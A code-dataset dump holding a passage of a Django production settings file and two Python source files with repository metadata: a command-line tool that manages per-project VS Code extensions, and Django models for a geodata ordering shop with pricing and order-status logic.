storages.backends.s3boto3 import S3Boto3Storage StaticRootS3BotoStorage = lambda: S3Boto3Storage(location='static') # noqa MediaRootS3BotoStorage = lambda: S3Boto3Storage(location='media', file_overwrite=False) # noqa # endregion DEFAULT_FILE_STORAGE = 'config.settings.production.MediaRootS3BotoStorage' MEDIA_URL = f'https://s3.amazonaws.com/{AWS_STORAGE_BUCKET_NAME}/media/' # TEMPLATES # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#templates TEMPLATES[0]['OPTIONS']['loaders'] = [ # noqa F405 ( 'django.template.loaders.cached.Loader', [ 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ] ), ] # EMAIL # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#default-from-email DEFAULT_FROM_EMAIL = env( 'DJANGO_DEFAULT_FROM_EMAIL', default='Nomadgram <noreply@geonlee.co>' ) # https://docs.djangoproject.com/en/dev/ref/settings/#server-email SERVER_EMAIL = env('DJANGO_SERVER_EMAIL', default=DEFAULT_FROM_EMAIL) # https://docs.djangoproject.com/en/dev/ref/settings/#email-subject-prefix EMAIL_SUBJECT_PREFIX = env('DJANGO_EMAIL_SUBJECT_PREFIX', default='[Nomadgram]') # ADMIN # ------------------------------------------------------------------------------ # Django Admin URL regex. ADMIN_URL = env('DJANGO_ADMIN_URL') # Anymail (Mailgun) # ------------------------------------------------------------------------------ # https://anymail.readthedocs.io/en/stable/installation/#installing-anymail INSTALLED_APPS += ['anymail'] # noqa F405 EMAIL_BACKEND = 'anymail.backends.mailgun.EmailBackend' # https://anymail.readthedocs.io/en/stable/installation/#anymail-settings-reference ANYMAIL = { 'MAILGUN_API_KEY': env('MAILGUN_API_KEY'), 'MAILGUN_SENDER_DOMAIN': env('MAILGUN_DOMAIN') } # Gunicorn # ------------------------------------------------------------------------------ INSTALLED_APPS += ['gunicorn'] # noqa F405 # Collectfast # ------------------------------------------------------------------------------ # https://github.com/antonagestam/collectfast#installation INSTALLED_APPS = ['collectfast'] + INSTALLED_APPS # noqa F405 AWS_PRELOAD_METADATA = True # LOGGING # ------------------------------------------------------------------------------ # See: https://docs.djangoproject.com/en/dev/ref/settings/#logging # A sample logging configuration. The only tangible logging # performed by this configuration is to send an email to # the site admins bon every HTTP 500 error when DEBUG=False. # See https://docs.djangoproject.com/en/dev/topics/logging for # more details on how to customize your logging configuration. LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'filters': { 'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse' } }, 'formatters': { 'verbose': { 'format': '%(levelname)s %(asctime)s %(module)s ' '%(process)d %(thread)d %(message)s' }, }, 'handlers': { 'mail_admins': { 'level': 'ERROR', 'filters': ['require_debug_false'], 'class': 'django.utils.log.AdminEmailHandler' }, 'console': { 'level': 'DEBUG', 'class': 'logging.StreamHandler', 'formatter': 'verbose', }, }, 'loggers': { 'django.request': { 'handlers': ['mail_admins'], 'level': 'ERROR', 'propagate': True }, 'django.security.DisallowedHost': { 'level': 'ERROR', 'handlers': ['console', 'mail_admins'], 'propagate': True } } } # Your stuff... # ------------------------------------------------------------------------------
true
true
f71f0643e19be8949af25c088e16a9f19b2b8080
4,285
py
Python
vscodenv/main.py
AlexCovizzi/vscodenv
ddaf61c40a1278e923909201a5ec8ef62c5315f9
[ "Apache-2.0" ]
17
2018-04-29T21:14:24.000Z
2018-11-12T21:08:24.000Z
vscodenv/main.py
AlexCovizzi/vscodenv
ddaf61c40a1278e923909201a5ec8ef62c5315f9
[ "Apache-2.0" ]
null
null
null
vscodenv/main.py
AlexCovizzi/vscodenv
ddaf61c40a1278e923909201a5ec8ef62c5315f9
[ "Apache-2.0" ]
1
2019-02-07T15:25:31.000Z
2019-02-07T15:25:31.000Z
import argparse import os from .vscode_extensions import * from .extensions_json import * from .vscode_cli import code_open from .utils import extension_base_name, get_work_dir parser = argparse.ArgumentParser(add_help=False) parser.add_argument("path", nargs='?', default=os.getcwd()) group = parser.add_mutually_exclusive_group() group.add_argument("-i", "--install", nargs='?', const="") group.add_argument("-u", "--uninstall") group.add_argument("-l", "--list", action='store_true') group.add_argument("-r", "--generate-required", action='store_true') group.add_argument("-h", "--help", action='store_true') def main(): args = parser.parse_args() path = args.path work_dir = get_work_dir(path) dot_vscode_dir = os.path.join(work_dir, '.vscode') extensions_dir = os.path.join(dot_vscode_dir, 'extensions') install_ext = args.install uninstall_ext = args.uninstall list_ext = args.list gen_required = args.generate_required show_help = args.help if install_ext is not None: install(install_ext, extensions_dir) elif uninstall_ext is not None: uninstall(uninstall_ext, extensions_dir) elif list_ext: list_extensions(extensions_dir) elif gen_required: generate_required(extensions_dir) elif show_help: print_help() else: print("Current working directory: %s" % work_dir) install_required(extensions_dir) print("Launching Visual Studio Code...") code_open(path, extensions_dir) # --install def install(extension, extensions_dir): local_extensions = get_extensions(extensions_dir) if extension: if extension in local_extensions: print("Extension '" + extension + "' is already installed.") else: install_extension(extension, extensions_dir) else: # no param passed, install required from extensions.json install_required(extensions_dir) # --unistall def uninstall(extension, extensions_dir): uninstall_extension(extension, extensions_dir) # --list def list_extensions(extensions_dir): extensions = get_extensions(extensions_dir) for extension in extensions: base_name = extension_base_name(extension) print(base_name) # --generate-required def generate_required(extensions_dir): extensions = get_extensions(extensions_dir) # keep only base name extensions = [extension_base_name(ext) for ext in extensions] extensions_json_path = os.path.join(os.path.dirname(extensions_dir), "extensions.json") if extensions: extend_required_extensions(extensions_json_path, extensions) print("Added %d extensions to required extensions:" % len(extensions)) for ext in extensions: print(ext) else: print("No extension added to required extensions.") # --help # because argparse help message is formatted ugly def print_help(): help_file_path = os.path.join(os.path.dirname(__file__), "help.txt") try: with open(help_file_path, 'r') as help_file: print(help_file.read()) except IOError: try: ans = input("Did you remove 'help.txt' ?? [y/n]: ") if ans == 'y': print("https://i.imgur.com/Br00TCn.gif") except KeyboardInterrupt: print("iao!") def install_required(extensions_dir): ''' Install required extension (found in extensions.json) ''' extensions_json_path = extensions_dir + ".json" required_extensions = get_required_extensions(extensions_json_path) installed_extensions = get_extensions(extensions_dir) # keep only base name (remove version) from installed extensions installed_extensions = [extension_base_name(ext) for ext in installed_extensions] # install only required extensions that are not already installed extensions_to_install = list(set(required_extensions) - set(installed_extensions)) if extensions_to_install: print("Found %d extensions to install:" % len(extensions_to_install)) for ext_to_install in extensions_to_install: print(ext_to_install) else: print("No extension to install.") for ext in extensions_to_install: install_extension(ext, extensions_dir)
33.217054
91
0.69895
import argparse import os from .vscode_extensions import * from .extensions_json import * from .vscode_cli import code_open from .utils import extension_base_name, get_work_dir parser = argparse.ArgumentParser(add_help=False) parser.add_argument("path", nargs='?', default=os.getcwd()) group = parser.add_mutually_exclusive_group() group.add_argument("-i", "--install", nargs='?', const="") group.add_argument("-u", "--uninstall") group.add_argument("-l", "--list", action='store_true') group.add_argument("-r", "--generate-required", action='store_true') group.add_argument("-h", "--help", action='store_true') def main(): args = parser.parse_args() path = args.path work_dir = get_work_dir(path) dot_vscode_dir = os.path.join(work_dir, '.vscode') extensions_dir = os.path.join(dot_vscode_dir, 'extensions') install_ext = args.install uninstall_ext = args.uninstall list_ext = args.list gen_required = args.generate_required show_help = args.help if install_ext is not None: install(install_ext, extensions_dir) elif uninstall_ext is not None: uninstall(uninstall_ext, extensions_dir) elif list_ext: list_extensions(extensions_dir) elif gen_required: generate_required(extensions_dir) elif show_help: print_help() else: print("Current working directory: %s" % work_dir) install_required(extensions_dir) print("Launching Visual Studio Code...") code_open(path, extensions_dir) def install(extension, extensions_dir): local_extensions = get_extensions(extensions_dir) if extension: if extension in local_extensions: print("Extension '" + extension + "' is already installed.") else: install_extension(extension, extensions_dir) else: install_required(extensions_dir) def uninstall(extension, extensions_dir): uninstall_extension(extension, extensions_dir) def list_extensions(extensions_dir): extensions = get_extensions(extensions_dir) for extension in extensions: base_name = extension_base_name(extension) print(base_name) def generate_required(extensions_dir): extensions = get_extensions(extensions_dir) extensions = [extension_base_name(ext) for ext in extensions] extensions_json_path = os.path.join(os.path.dirname(extensions_dir), "extensions.json") if extensions: extend_required_extensions(extensions_json_path, extensions) print("Added %d extensions to required extensions:" % len(extensions)) for ext in extensions: print(ext) else: print("No extension added to required extensions.") def print_help(): help_file_path = os.path.join(os.path.dirname(__file__), "help.txt") try: with open(help_file_path, 'r') as help_file: print(help_file.read()) except IOError: try: ans = input("Did you remove 'help.txt' ?? [y/n]: ") if ans == 'y': print("https://i.imgur.com/Br00TCn.gif") except KeyboardInterrupt: print("iao!") def install_required(extensions_dir): extensions_json_path = extensions_dir + ".json" required_extensions = get_required_extensions(extensions_json_path) installed_extensions = get_extensions(extensions_dir) installed_extensions = [extension_base_name(ext) for ext in installed_extensions] extensions_to_install = list(set(required_extensions) - set(installed_extensions)) if extensions_to_install: print("Found %d extensions to install:" % len(extensions_to_install)) for ext_to_install in extensions_to_install: print(ext_to_install) else: print("No extension to install.") for ext in extensions_to_install: install_extension(ext, extensions_dir)
true
true
f71f06a96f54f410eaecad5e993586b799f4e2d5
29,641
py
Python
back/api/models.py
maltaesousa/geoshop2
624c6d79b5a29b39a898e0d1332fb8de23bd96e4
[ "BSD-3-Clause" ]
null
null
null
back/api/models.py
maltaesousa/geoshop2
624c6d79b5a29b39a898e0d1332fb8de23bd96e4
[ "BSD-3-Clause" ]
155
2020-01-06T09:32:32.000Z
2022-03-31T09:21:39.000Z
back/api/models.py
maltaesousa/geoshop2
624c6d79b5a29b39a898e0d1332fb8de23bd96e4
[ "BSD-3-Clause" ]
3
2020-01-29T15:48:02.000Z
2020-06-04T12:50:24.000Z
import logging import uuid from django.conf import settings from django.core.validators import RegexValidator from django.contrib.gis.db import models from django.contrib.gis.geos import Polygon from django.contrib.auth import get_user_model from django.contrib.postgres.search import SearchVectorField from django.contrib.postgres.indexes import GinIndex, BTreeIndex from django.utils import timezone from django.utils.html import mark_safe from django.utils.translation import gettext_lazy as _ from django.urls import reverse from djmoney.money import Money from djmoney.models.fields import MoneyField from .pricing import ProductPriceCalculator from .helpers import RandomFileName, send_geoshop_email LOGGER = logging.getLogger(__name__) # Get the UserModel UserModel = get_user_model() class AbstractIdentity(models.Model): """ Common properties for identities, addresses and temporary users """ first_name = models.CharField(_('first_name'), max_length=50, blank=True) last_name = models.CharField(_('last_name'), max_length=150, blank=True) email = models.EmailField(_('email'), max_length=254, blank=True) street = models.CharField(_('street'), max_length=100, blank=True) street2 = models.CharField(_('street2'), max_length=100, blank=True) postcode = models.CharField(_('postcode'), max_length=10, blank=True) city = models.CharField(_('city'), max_length=50, blank=True) country = models.CharField(_('country'), max_length=50, blank=True) company_name = models.CharField( _('company_name'), max_length=250, blank=True) phone = models.CharField(_('phone'), max_length=50, blank=True) class Meta: abstract = True def __str__(self): if self.company_name: return '%s %s (%s)' % (self.last_name, self.first_name, self.company_name) return '%s %s' % (self.last_name, self.first_name) class Contact(AbstractIdentity): """ Address book of contacts linked to an user that stores addresses previously filled by the user. """ belongs_to = models.ForeignKey( UserModel, on_delete=models.CASCADE, verbose_name=_('belongs_to')) sap_id = models.BigIntegerField(_('sap_id'), null=True, blank=True) subscribed = models.BooleanField(_('subscribed'), default=False) is_active = models.BooleanField(_('is_active'), default=True) class Meta: db_table = 'contact' verbose_name = _('contact') class Copyright(models.Model): description = models.TextField(blank=True) class Meta: db_table = 'copyright' verbose_name = _('copyright') def __str__(self): return self.description class Document(models.Model): """ Named links to more informations on metadata """ name = models.CharField(_('name'), max_length=80) link = models.URLField( _('link'), help_text=_('Please complete the above URL'), default='https://sitn.ne.ch', max_length=2000 ) class Meta: db_table = 'document' verbose_name = _('document') def __str__(self): return '%s (%s)' % (self.name, self.link.split("/")[-1]) class DataFormat(models.Model): name = models.CharField(_('name'), max_length=100, blank=True) class Meta: db_table = 'data_format' verbose_name = _('data_format') def __str__(self): return self.name class OrderType(models.Model): name = models.CharField(_('name'), max_length=30, blank=True) class Meta: db_table = 'order_type' verbose_name = _('order type') verbose_name_plural = _('order types') def __str__(self): return self.name class Identity(AbstractIdentity): """ All users have an Identity but not all identities are users. """ user = models.OneToOneField( UserModel, on_delete=models.SET_NULL, verbose_name=_('user'), blank=True, null=True) sap_id = models.BigIntegerField(_('sap_id'), null=True, blank=True) ide_id = models.CharField(_('ide_number'), max_length=15, null=True, blank=True, validators=[ RegexValidator( regex=r'^CHE-([0-9]{3}\.){2}[0-9]{3}$', message=_('IDE number is not valid'), ), ]) contract_accepted = models.DateField(_('contract_accepted'), null=True, blank=True) is_public = models.BooleanField(_('is_public'), default=False) subscribed = models.BooleanField(_('subscribed'), default=False) birthday = models.DateField(_('birthday'), null=True, blank=True) class Meta: db_table = 'identity' verbose_name = _('identity') class Metadata(models.Model): """ Describes one or more Products. Every metadata can have one or more contact persons """ id_name = models.CharField(_('id_name'), max_length=50, unique=True) name = models.CharField(_('name'), max_length=300, blank=True) description_short = models.CharField(_('description_short'), max_length=500, blank=True) description_long = models.TextField(_('description_long'), blank=True) datasource = models.CharField(_('datasource'), max_length=260, blank=True, null=True) scale = models.CharField(_('scale'), max_length=500, blank=True) geocat_link = models.CharField(_('geocat_link'), max_length=2000, blank=True) legend_link = models.CharField(_('legend_link'), max_length=2000, blank=True) image_link = models.CharField(_('image_link'), max_length=250, default=settings.DEFAULT_METADATA_IMAGE_URL, blank=True) copyright = models.ForeignKey( Copyright, models.SET_NULL, verbose_name=_('copyright'), blank=True, null=True) documents = models.ManyToManyField(Document, verbose_name=_('documents'), blank=True) contact_persons = models.ManyToManyField( Identity, verbose_name=_('contact_persons'), related_name='contact_persons', through='MetadataContact') modified_date = models.DateTimeField(auto_now=True) modified_user = models.ForeignKey( UserModel, models.PROTECT, verbose_name=_('modified_user'), related_name='modified_user') class Meta: db_table = 'metadata' verbose_name = _('metadata') def __str__(self): return self.id_name def get_legend_link(self): if self.legend_link is None or self.legend_link == '': return None # When legend_link is 0, returns legend from mapserver if self.legend_link == '0': return settings.AUTO_LEGEND_URL + self.id_name # When legend_link is intra, returns legend from intranet mapserver if self.legend_link == 'intra': return settings.INTRA_LEGEND_URL + self.id_name if self.legend_link.startswith('http'): return self.legend_link return settings.MEDIA_URL + self.legend_link def legend_tag(self): if self.get_legend_link(): return mark_safe('<img src="%s" />' % self.get_legend_link()) legend_tag.short_description = _('legend') def image_tag(self): if self.image_link is None or self.image_link == '': return mark_safe('<img src="%s%s" />' % (settings.MEDIA_URL, 'no_image.jpg')) return mark_safe('<img src="%s%s" />' % (settings.MEDIA_URL, self.image_link)) image_tag.short_description = _('image') class MetadataContact(models.Model): """ Links Metadata with the persons to contact (Identity) depending on the role they play for metadata. """ metadata = models.ForeignKey(Metadata, models.CASCADE, verbose_name=_('metadata')) contact_person = models.ForeignKey( Identity, models.CASCADE, verbose_name=_('contact_person'), limit_choices_to={'is_public': True}) metadata_role = models.CharField(_('role'), max_length=150, default='Gestionnaire') class Meta: db_table = 'metadata_contact_persons' verbose_name = _('metadata_contact') def __str__(self): return '%s - %s (%s)' % (self.contact_person, self.metadata, self.metadata_role) class Pricing(models.Model): """ Pricing for free products, single tax products or area priced products. For free products, set base_fee and unit_price both to 0. For unique price set base_fee to desired amount and unit_price to 0. For price based on area, provide unit_price For prices based on a PricingGeometry, create the pricing layer and link it to pricing_layer field. """ class PricingType(models.TextChoices): FREE = 'FREE', _('Free') SINGLE = 'SINGLE', _('Single') BY_NUMBER_OBJECTS = 'BY_NUMBER_OBJECTS', _('By number of objects') BY_AREA = 'BY_AREA', _('By area') FROM_PRICING_LAYER = 'FROM_PRICING_LAYER', _('From a pricing layer') FROM_CHILDREN_OF_GROUP = 'FROM_CHILDREN_OF_GROUP', _('From children products of this group') MANUAL = 'MANUAL', _('Manual') name = models.CharField(_('name'), max_length=100, null=True, blank=True) pricing_type = models.CharField( _('pricing_type'), max_length=30, choices=PricingType.choices) base_fee = MoneyField( _('base_fee'), max_digits=14, decimal_places=2, default_currency='CHF', null=True, blank=True) min_price = MoneyField( _('min_price'), max_digits=14, decimal_places=2, default_currency='CHF', null=True, blank=True) max_price = MoneyField( _('max_price'), max_digits=14, decimal_places=2, default_currency='CHF', null=True, blank=True) unit_price = MoneyField( _('unit_price'), max_digits=14, decimal_places=2, default_currency='CHF', null=True, blank=True) class Meta: db_table = 'pricing' verbose_name = _('pricing') def get_price(self, polygon): """ Returns the price of a product given a polygon """ price = ProductPriceCalculator.get_price( pricing_instance=self, polygon=polygon ) if price is None: return None, None if self.min_price and price < self.min_price: return self.min_price, self.base_fee # if max_price is reached, will force customer ask for a quote if self.max_price and price > self.max_price: return None, None return price, self.base_fee def __str__(self): return '%s + %s CHF de taxe' % (self.name, self.base_fee) class PricingGeometry(models.Model): """ Areas defining prices must be grouped by name. """ name = models.CharField(_('name'), max_length=300, null=True) unit_price = MoneyField( _('price'), max_digits=14, decimal_places=2, default_currency='CHF', null=True) geom = models.GeometryField(_('geom'), srid=settings.DEFAULT_SRID) pricing = models.ForeignKey(Pricing, models.CASCADE, verbose_name=_('pricing'), null=True) class Meta: db_table = 'pricing_layer' verbose_name = _('pricing_layer') indexes = (BTreeIndex(fields=('name',)),) def __str__(self): return self.name class Product(models.Model): """ A product is mostly a table or a raster. It can also be a group of products. Products with a PUBLISHED status are available in catalogue. A product with a status PUBLISHED_ONLY_IN_GROUP cannot be found on catalogue but can be ordered by the group he belongs to. Example: PFP3_categorie_1 and PFP3_categorie_2 have a PUBLISHED_ONLY_IN_GROUP status: they cannot be found as is in the catalogue, but they belong to another product (with group_id property): PFP3 that has a PUBLISHED status. """ class ProductStatus(models.TextChoices): DRAFT = 'DRAFT', _('Draft') PUBLISHED = 'PUBLISHED', _('Published') PUBLISHED_ONLY_IN_GROUP = 'PUBLISHED_ONLY_IN_GROUP', _('Published only in group') DEPRECATED = 'DEPRECATED', _('Deprecated') metadata = models.ForeignKey( Metadata, models.SET_NULL, verbose_name=_('metadata'), blank=True, null=True) label = models.CharField(_('label'), max_length=250, unique=True) status = models.CharField( _('status'), max_length=30, choices=ProductStatus.choices, default=ProductStatus.DRAFT) group = models.ForeignKey( 'self', models.SET_NULL, verbose_name=_('group'), blank=True, null=True, related_name='products') provider = models.ForeignKey( UserModel, models.PROTECT, verbose_name=_('provider'), null=True, limit_choices_to={ 'groups__name': 'extract' }) pricing = models.ForeignKey(Pricing, models.PROTECT, verbose_name=_('pricing')) free_when_subscribed = models.BooleanField(_('free_when_subscribed'), default=False) order = models.BigIntegerField(_('order_index'), blank=True, null=True) thumbnail_link = models.CharField( _('thumbnail_link'), max_length=250, default=settings.DEFAULT_PRODUCT_THUMBNAIL_URL) ts = SearchVectorField(null=True) geom = models.PolygonField(_('geom'), srid=settings.DEFAULT_SRID, default=Polygon.from_bbox( (2519900, 1186430, 2578200, 1227030) )) class Meta: db_table = 'product' verbose_name = _('product') ordering = ['order'] # https://www.postgresql.org/docs/10/gin-intro.html indexes = [GinIndex(fields=["ts"])] def __str__(self): return self.label def thumbnail_tag(self): if self.thumbnail_link is None or self.thumbnail_link == '': return mark_safe('<img src="%s%s" />' % (settings.MEDIA_URL, 'no_image.jpg')) return mark_safe('<img src="%s%s" />' % (settings.MEDIA_URL, self.thumbnail_link)) thumbnail_tag.short_description = _('thumbnail') class Order(models.Model): """ processing_fee should default to the maximum of base fees in the order but can then be edited mannually """ class OrderStatus(models.TextChoices): DRAFT = 'DRAFT', _('Draft') PENDING = 'PENDING', _('Pending') QUOTE_DONE = 'QUOTE_DONE', _('Quote done') READY = 'READY', _('Ready') IN_EXTRACT = 'IN_EXTRACT', _('In extract') PARTIALLY_DELIVERED = 'PARTIALLY_DELIVERED', _('Partially delivered') PROCESSED = 'PROCESSED', _('Processed') ARCHIVED = 'ARCHIVED', _('Archived') REJECTED = 'REJECTED', _('Rejected') title = models.CharField(_('title'), max_length=255, validators=[ RegexValidator( regex=r'^[^<>%$"\(\)\n\r]*$', message=_('Title contains forbidden characters'), ), ]) description = models.TextField(_('description'), blank=True) processing_fee = MoneyField( _('processing_fee'), max_digits=14, decimal_places=2, default_currency='CHF', blank=True, null=True) total_without_vat = MoneyField( _('total_without_vat'), max_digits=14, decimal_places=2, default_currency='CHF', blank=True, null=True) part_vat = MoneyField( _('part_vat'), max_digits=14, decimal_places=2, default_currency='CHF', blank=True, null=True) total_with_vat = MoneyField( _('total_with_vat'), max_digits=14, decimal_places=2, default_currency='CHF', blank=True, null=True) geom = models.PolygonField(_('geom'), srid=settings.DEFAULT_SRID) client = models.ForeignKey(UserModel, models.PROTECT, verbose_name=_('client'), blank=True) invoice_contact = models.ForeignKey( Contact, models.PROTECT, verbose_name=_('invoice_contact'), related_name='invoice_contact', blank=True, null=True ) invoice_reference = models.CharField(_('invoice_reference'), max_length=255, blank=True) email_deliver = models.EmailField(_('email_deliver'), max_length=254, blank=True, null=True) order_type = models.ForeignKey(OrderType, models.PROTECT, verbose_name=_('order_type')) status = models.CharField( _('status'), max_length=20, choices=OrderStatus.choices, default=OrderStatus.DRAFT) date_ordered = models.DateTimeField(_('date_ordered'), blank=True, null=True) date_downloaded = models.DateTimeField(_('date_downloaded'), blank=True, null=True) date_processed = models.DateTimeField(_('date_processed'), blank=True, null=True) extract_result = models.FileField(upload_to='extract', null=True, blank=True) download_guid = models.UUIDField(_('download_guid'), null=True, blank=True) class Meta: db_table = 'order' ordering = ['-date_ordered'] verbose_name = _('order') def _reset_prices(self): self.processing_fee = None self.total_without_vat = None self.part_vat = None self.total_with_vat = None def set_price(self): """ Sets price information if all items have prices """ self._reset_prices() items = self.items.all() if items == []: return False self.total_without_vat = Money(0, 'CHF') self.processing_fee = Money(0, 'CHF') for item in items: if item.base_fee is None: self._reset_prices() return False if item.base_fee > self.processing_fee: self.processing_fee = item.base_fee self.total_without_vat += item.price self.total_without_vat += self.processing_fee self.part_vat = self.total_without_vat * settings.VAT self.total_with_vat = self.total_without_vat + self.part_vat return True def quote_done(self): """Admins confirmation they have given a manual price""" price_is_set = self.set_price() if price_is_set: self.status = self.OrderStatus.QUOTE_DONE self.save() send_geoshop_email( _('Geoshop - Quote has been done'), recipient=self.email_deliver or self.client.identity, template_name='email_quote_done', template_data={ 'order_id': self.id, 'first_name': self.client.identity.first_name, 'last_name': self.client.identity.last_name } ) return price_is_set def _expand_product_groups(self): """ When a product is a group of products, the group is deleted from cart and is replaced with one OrderItem for each product inside the group. """ items = self.items.all() for item in items: # if product is a group (if product has children) if item.product.products.exists(): for product in item.product.products.all(): # only pick products that intersect current order geom if product.geom.intersects(self.geom): new_item = OrderItem( order=self, product=product, data_format=item.data_format ) # If the data format for the group is not available for the item, # pick the first possible if item.data_format not in item.available_formats: new_item.data_format = product.product_formats.all().first().data_format new_item.set_price() new_item.save() item.delete() def confirm(self): """Customer's confirmations he wants to proceed with the order""" self._expand_product_groups() items = self.items.all() has_all_prices_calculated = True for item in items: if item.price_status == OrderItem.PricingStatus.PENDING: item.ask_price() has_all_prices_calculated = has_all_prices_calculated and False else: item.status = OrderItem.OrderItemStatus.IN_EXTRACT if has_all_prices_calculated: self.date_ordered = timezone.now() self.download_guid = uuid.uuid4() self.status = Order.OrderStatus.READY else: self.status = Order.OrderStatus.PENDING def next_status_on_extract_input(self): """Controls status when Extract uploads a file or cancel an order item""" previous_accepted_status = [ Order.OrderStatus.READY, Order.OrderStatus.IN_EXTRACT, Order.OrderStatus.PARTIALLY_DELIVERED ] if self.status not in previous_accepted_status: raise Exception("Order has an inappropriate status after input") items_statuses = set(self.items.all().values_list('status', flat=True)) if OrderItem.OrderItemStatus.IN_EXTRACT in items_statuses: if OrderItem.OrderItemStatus.PROCESSED in items_statuses: self.status = Order.OrderStatus.PARTIALLY_DELIVERED else: self.status = Order.OrderStatus.READY else: if OrderItem.OrderItemStatus.PROCESSED in items_statuses: self.status = Order.OrderStatus.PROCESSED self.date_processed = timezone.now() send_geoshop_email( _('Geoshop - Download ready'), recipient=self.email_deliver or self.client.identity, template_name='email_download_ready', template_data={ 'order_id': self.id, 'download_guid': self.download_guid, 'front_url': '{}://{}{}'.format( settings.FRONT_PROTOCOL, settings.FRONT_URL, settings.FRONT_HREF ), 'first_name': self.client.identity.first_name, 'last_name': self.client.identity.last_name, } ) else: self.status = Order.OrderStatus.REJECTED return self.status @property def geom_srid(self): return self.geom.srid @property def geom_area(self): return self.geom.area def __str__(self): return '%s - %s' % (self.id, self.title) class OrderItem(models.Model): """ Cart item. """ class PricingStatus(models.TextChoices): PENDING = 'PENDING', _('Pending') CALCULATED = 'CALCULATED', _('Calculated') IMPORTED = 'IMPORTED', _('Imported') # from old database class OrderItemStatus(models.TextChoices): PENDING = 'PENDING', _('Pending') IN_EXTRACT = 'IN_EXTRACT', _('In extract') PROCESSED = 'PROCESSED', _('Processed') ARCHIVED = 'ARCHIVED', _('Archived') REJECTED = 'REJECTED', _('Rejected') order = models.ForeignKey( Order, models.CASCADE, related_name='items', verbose_name=_('order'), blank=True, null=True) product = models.ForeignKey( Product, models.PROTECT, verbose_name=_('product'), blank=True, null=True) data_format = models.ForeignKey( DataFormat, models.PROTECT, verbose_name=_('data_format'), blank=True, null=True) srid = models.IntegerField(_('srid'), default=settings.DEFAULT_SRID) last_download = models.DateTimeField(_('last_download'), blank=True, null=True) price_status = models.CharField( _('price_status'), max_length=20, choices=PricingStatus.choices, default=PricingStatus.PENDING) status = models.CharField( _('status'), max_length=20, choices=OrderItemStatus.choices, default=OrderItemStatus.PENDING) _price = MoneyField( _('price'), max_digits=14, decimal_places=2, default_currency='CHF', null=True, blank=True) _base_fee = MoneyField( _('base_fee'), max_digits=14, decimal_places=2, default_currency='CHF', null=True, blank=True) extract_result = models.FileField(upload_to=RandomFileName('extract'), null=True, blank=True) comment = models.TextField(_('comment'), null=True, blank=True) class Meta: db_table = 'order_item' verbose_name = _('order_item') @property def available_formats(self): queryset = ProductFormat.objects.filter( product=self.product).values_list('data_format__name', flat=True) return list(queryset) def _get_price_values(self, price_value): if self.price_status == OrderItem.PricingStatus.PENDING: LOGGER.info("You are trying to get a pricing value but pricing status is still PENDING") return None return price_value @property def price(self): return self._get_price_values(self._price) @property def base_fee(self): return self._get_price_values(self._base_fee) def set_price(self, price=None, base_fee=None): """ Sets price and updates price status """ self._price = None self._base_fee = None self.price_status = OrderItem.PricingStatus.PENDING # prices are 0 when user or invoice_contact is subscribed to the product if self.product.free_when_subscribed: if self.order.client.identity.subscribed or ( self.order.invoice_contact is not None and self.order.invoice_contact.subscribed): self._price = Money(0, 'CHF') self._base_fee = Money(0, 'CHF') self.price_status = OrderItem.PricingStatus.CALCULATED return # prices are 0 when order is for public authorities or academic purposes if self.order.order_type.name in ( 'Communal', 'Cantonal', 'Fédéral', 'Académique'): self._price = Money(0, 'CHF') self._base_fee = Money(0, 'CHF') self.price_status = OrderItem.PricingStatus.CALCULATED return if self.product.pricing.pricing_type != Pricing.PricingType.MANUAL: if self.product.pricing.pricing_type == Pricing.PricingType.FROM_CHILDREN_OF_GROUP: self._price = Money(0, 'CHF') self._base_fee = Money(0, 'CHF') for product in self.product.products.all(): if product.geom.intersects(self.order.geom): price, base_fee = product.pricing.get_price(self.order.geom) if price: self._price += price if base_fee: self._base_fee = base_fee if base_fee > self._base_fee else self._base_fee else: self._price, self._base_fee = self.product.pricing.get_price(self.order.geom) if self._price is not None: self.price_status = OrderItem.PricingStatus.CALCULATED return else: if price is not None: self._price = price self._base_fee = base_fee self.price_status = OrderItem.PricingStatus.CALCULATED return self.price_status = OrderItem.PricingStatus.PENDING return def ask_price(self): if self.product.pricing.pricing_type == Pricing.PricingType.MANUAL: send_geoshop_email( _('Geoshop - Quote requested'), template_name='email_admin', template_data={ 'messages': [_('A new quote has been requested:')], 'details': { _('order'): self.order.id, _('product'): self.product.label, _('link'): reverse("admin:api_order_change", args=[self.order.id]) } } ) class ProductField(models.Model): """ Describes fields and their types of products. """ class ProductFieldType(models.TextChoices): REAL = 'REAL', 'Real' DATE = 'DATE', 'Date' CHAR = 'CHAR', 'Character' VARCHAR = 'VARCHAR', 'Varying character' INT = 'INT', 'Integer' BIGINT = 'BIGINT', 'Big integer' FLOAT = 'FLOAT', 'Floating number' db_name = models.CharField(_('db_name'), max_length=50, blank=True) export_name = models.CharField(_('export_name'), max_length=50, blank=True) field_type = models.CharField( _('field_type'), max_length=10, choices=ProductFieldType.choices, blank=True) field_length = models.SmallIntegerField(_('field_length'), ) product = models.ForeignKey(Product, verbose_name=_('product'), on_delete=models.CASCADE) class Meta: db_table = 'product_field' verbose_name = _('product_field') class ProductFormat(models.Model): product = models.ForeignKey( Product, models.CASCADE, verbose_name=_('product'), related_name='product_formats') data_format = models.ForeignKey(DataFormat, models.CASCADE, verbose_name=_('data_format')) # extraction manuelle ou automatique is_manual = models.BooleanField(_('is_manual'), default=False) class Meta: db_table = 'product_format' unique_together = (('product', 'data_format'),) verbose_name = _('product_format') class UserChange(AbstractIdentity): """ Stores temporary data in order to proceed user profile change requests. """ client = models.ForeignKey(UserModel, models.CASCADE, verbose_name=_('client')) ide_id = models.CharField(_('ide_number'), max_length=15, null=True, blank=True, validators=[ RegexValidator( regex=r'^CHE-([0-9]{3}\.){2}[0-9]{3}$', message=_('IDE number is not valid'), ), ]) class Meta: db_table = 'user_change' verbose_name = _('user_change')
40.327891
123
0.638676
